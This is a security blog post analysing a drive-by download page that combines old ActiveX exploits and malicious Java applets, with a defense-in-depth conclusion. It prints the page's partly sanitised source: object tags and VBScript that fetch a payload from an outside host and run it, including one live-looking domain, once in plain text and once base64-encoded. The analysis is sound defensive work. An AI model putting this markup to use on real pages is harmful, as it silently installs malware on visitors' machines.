Security Insights

Remote Downloader ActiveX: Old Exploits, New Malware

Remote Downloader ActiveX: Old Exploits, New Malware

ActiveX is a proprietary Microsoft technology, which allows developers to produce reusable software components. The controls are compatible with the Internet Explorer (IE) web browser and over the years have been a frequent security threat, as many developers have produced insecure ActiveX controls which can lead to the remote execution of code when a user with IE visits a malicious web page. This is a very powerful tool for attackers because everything happens in the background (no user interaction), and they can trigger exploitation with only a few lines of code.


I recently stumbled upon a page using no fewer than 8 different ActiveX exploits on the same page:

  • Rediff Bol Downloader ActiveX Control Remote Code Execution Vulnerability (2006, CVE-2006-6838)
  • Office OCX WordViewer.OCX Word Viewer ActiveX Multiple Vulnerabilities (2007, CVE-2007-2496)
  • Symantec AppStream Client 'LaunchObj' ActiveX Control Arbitrary File Download Vulnerability (2008, CVE-2008-4388)
  • Peachtree Accounting 'PAWWeb11.ocx' ActiveX Control Insecure Method Vulnerability (2008)
  • Multiple Office OCX ActiveX Controls 'OpenWebFile()' Arbitrary Program Execution Vulnerability (2009)
It also attempts to download 2 malicious Java applets.

These ActiveX controls attempt to download and install 2 malicious files. One is detected as malware by only 6 out of 40 antivirus engines, the other is detected by 18 antivirus engines.

Blow is the source of page (the malicious CLSIDs and files have been removed):


<html><body><object 
classid="clsid:AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAAAAAA">
<PARAM NAME="OpenWebFile" 
VALUE="hxxp://xxx/loading.php?spl=ActiveX_pack"></object> 
<object classid="clsid:BBBBBBBB-BBBB-BBBBB-BBBB-BBBBBBBBBBBB"> 
<PARAM NAME="OpenWebFile" 
VALUE="http://xxx/loading.php?spl=ActiveX_pack"> </object> 
<object classid="clsid:AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAAAAAA"> 
<PARAM NAME="OpenWebFile" 
VALUE="http://xxx/loading.php?spl=ActiveX_pack"> </object> 
<object classid="clsid:AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAAAAAA5"> 
<PARAM NAME="OpenWebFile" 
VALUE="http://ally.serveblog.net//loading.php?spl=ActiveX_pack"> </object>
<object classid="clsid:AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAAAAAA">
<PARAM NAME="installAppMgr" 
VALUE="http://xxx/loading.php?spl=ActiveX_pack"></object>
<object classid="clsid:AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAAAAAA">
<PARAM NAME="PerformUpdateAsync" 
VALUE="http://xxx/loading.php?spl=ActiveX_pack"></object>
<object classid="clsid:AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAAAAAA">
<PARAM NAME="ExecutePreferredApplication" 
VALUE="http://xxx/loading.php?spl=ActiveX_pack"></object>
<OBJECT ID="DownloaderActiveX1" WIDTH="0" HEIGHT="0" 
CLASSID="CLSID:c1b7e532-3ecb-4e9e-bb3a-2951ffe67c61" 
CODEBASE="http://xxx/DownloaderActiveX.cab#Version=1,0,0,1"> 
<PARAM NAME="propProgressbackground" VALUE="#bccee8"> 
<PARAM NAME="propTextbackground" VALUE="#f7f8fc"> 
<PARAM NAME="propBarColor" VALUE="#df0203"> 
<PARAM NAME="propTextColor" VALUE="#000000"> 
<PARAM NAME="propWidth" VALUE="0"> 
<PARAM NAME="propHeight" VALUE="0"> 
<PARAM NAME="propDownloadUrl" 
VALUE="http://xxx/loading.php?spl=ActiveX_pack">
<PARAM NAME="propPostdownloadAction" VALUE="run">
<PARAM NAME="propInstallCompleteUrl" VALUE=""> 
<PARAM NAME="propbrowserRedirectUrl" VALUE=""> 
<PARAM NAME="propVerbose" VALUE="0"> 
<PARAM NAME="propInterrupt" VALUE="0"> </OBJECT> 
<OBJECT id="sysWIN" WIDTH=1 HEIGHT=1 
classid="clsid:AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAAAAAA" 
codebase="http://xxx/Bol.CAB"></OBJECT>
 
<script language="vbscript">
sysWIN.url = "http://xxx/loading.php?spl=ActiveX_pack"
sysWIN.fontsize = 10sysWIN.barcolor = 00FF00
sysWIN.start = "start"</script> 
<applet code="sklif.Hieeyfc.class" archive="j1_ke.jar" width="480" 
height="200"> 
<param name="data" VALUE="http://xxx/loading.php?spl=javadnwa&"> 
<param name="cc" value="1"> </applet> 
<applet width="100%" height="100%" code="Uutecwv" archive="j2_93.jar"> 
<param name="site" 
VALUE="aHR0cDovL2FsbHkuc2VydmVibG9nLm5ldC8vbG9hZGluZy5waHA/c3BsPWphdmFkbndiJg=="> 
</applet>


it is interesting to see that this page is using fairly old, and relatively well known, browser exploits along with state-of-the-art viruses virtually invisible to most antivirus software. Some people have argued that desktop antivirus protection alone is good enough because the exploit is just a means of delivering the malicious payload, and stopping this payload is all you need to do, in order to be protected. However, relying on a single layer of security is very risky. Catching the exploit can sometimes be easier, so you really need to take a defense-in-depth approach to security - patch your software, detect exploits, detect malicious payloads.

-- Julien

Author

Julien Sobrier

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